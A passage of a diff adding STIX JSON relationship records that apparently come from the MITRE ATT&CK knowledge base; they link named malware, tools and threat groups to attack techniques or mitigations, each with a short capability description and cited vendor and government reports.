which is used to load a portion of the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3933f2fa-9154-4ab4-b9cc-975a1dfbecf5", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.697Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can recover hashed passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6dc0543b-1a60-4e9a-9527-595220854f53", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses RC4 and Base64 to obfuscate strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ff3d2ebf-ea7b-4fd2-a524-9a6f20bcf3e3", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses the command line.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[H1N1](https://attack.mitre.org/software/S0132) uses multiple techniques to obfuscate strings, including XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4527c528-8377-4349-ae5c-95c04cabd3d4", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:16.024Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 1", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5e82824d-3548-4ffe-98fd-8e432a36847b", + "source_ref": "course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135", + "modified": "2019-07-24T19:39:30.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.017Z", + "id": "relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be", + "source_ref": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a", + "modified": "2019-10-11T12:49:34.468Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[RTM](https://attack.mitre.org/software/S0148) can delete all files created during its execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--a52edc76-328d-4596-85e7-d56ef5a9eb69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--76393f0c-a13c-48a8-ba7d-80502ae938a7", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.435Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used a publicly available tool to gather and compress multiple documents on the DCCC and DNC networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--63ee7d80-372e-4841-87a4-825cb5dd7058", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "During execution, [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware deobfuscates and decompresses code that was encoded with Metasploit\u2019s shikata_ga_nai encoder as well as compressed with LZNT1 compression.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9191026d-2410-4e6d-98fe-26786a5b8bf1", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) specifically looks for Domain Admins, Power Users, and the Administrators groups within the domain and locally", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--bc85f8f4-5d65-484c-af82-6adbe42083d9", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) uses HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2d659138-90e5-4b67-8956-02120d99506f", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "Newer variants of [BACKSPACE](https://attack.mitre.org/software/S0031) will encode C2 communications with a custom system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6c0aae73-fe06-4aa3-8216-568d78747c6d", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--87f40abf-4ee5-4f56-8150-97e0dd823a93", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has installed updates and new malware on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0e6d61e2-7b61-4b6c-85c7-7779125c1d14", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.894Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0d51acf9-f8df-42e1-aef3-4c86cf5ab17a", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.590Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) added the registry value ntdll to the Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--28b125cf-ff1a-4798-8b8a-3724d052e848", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.627Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) extracted Word documents from a file server on a victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5f3eb1ae-782e-4e49-8e1e-650f3e5a1139", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.843Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a", + "source_ref": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf", + "modified": "2019-07-25T12:35:34.988Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) has used Android backdoors capable of enumerating specific files on the infected devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--b03aafb3-dc03-4e12-9354-69a579b60aaf", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) loader Trojan uses a batch script to run its payload. The group has also used macros to execute payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5799308b-e710-40b8-ad64-2b7916673560", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.724Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "source_name": "Talos Seduploader Oct 2017", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) may use [netsh](https://attack.mitre.org/software/S0108) to add local firewall rule exceptions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group-IB Anunak", + "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.", + "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) collects the network adapter\u2019s IP and MAC address as well as IP addresses of the network adapter\u2019s default gateway, primary/secondary WINS, DHCP, and DNS servers, and saves them into a log file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dc187ed1-3987-4575-b1af-dc150e4329f8", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "source_name": "ThreatExpert Agent.btz", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to retrieve metadata for files on disk as well as a command to list the current working directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7c0995ef-ab5d-48f9-8884-7d953c4c3247", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can delete files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--93812c9c-39f1-4bf6-adda-601d0ffd88bf", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.493Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s CRYPTO::Extract module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.321Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "One variant of [CloudDuke](https://attack.mitre.org/software/S0054) uses HTTP and HTTPS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--41edf1d6-15a7-4da5-9bfd-ebee9d53f71e", + "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) gathers the IP address and domain from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3ab61135-89b5-4074-9251-40f41c7f739a", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command net localgroup administrators.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6", + "source_ref": 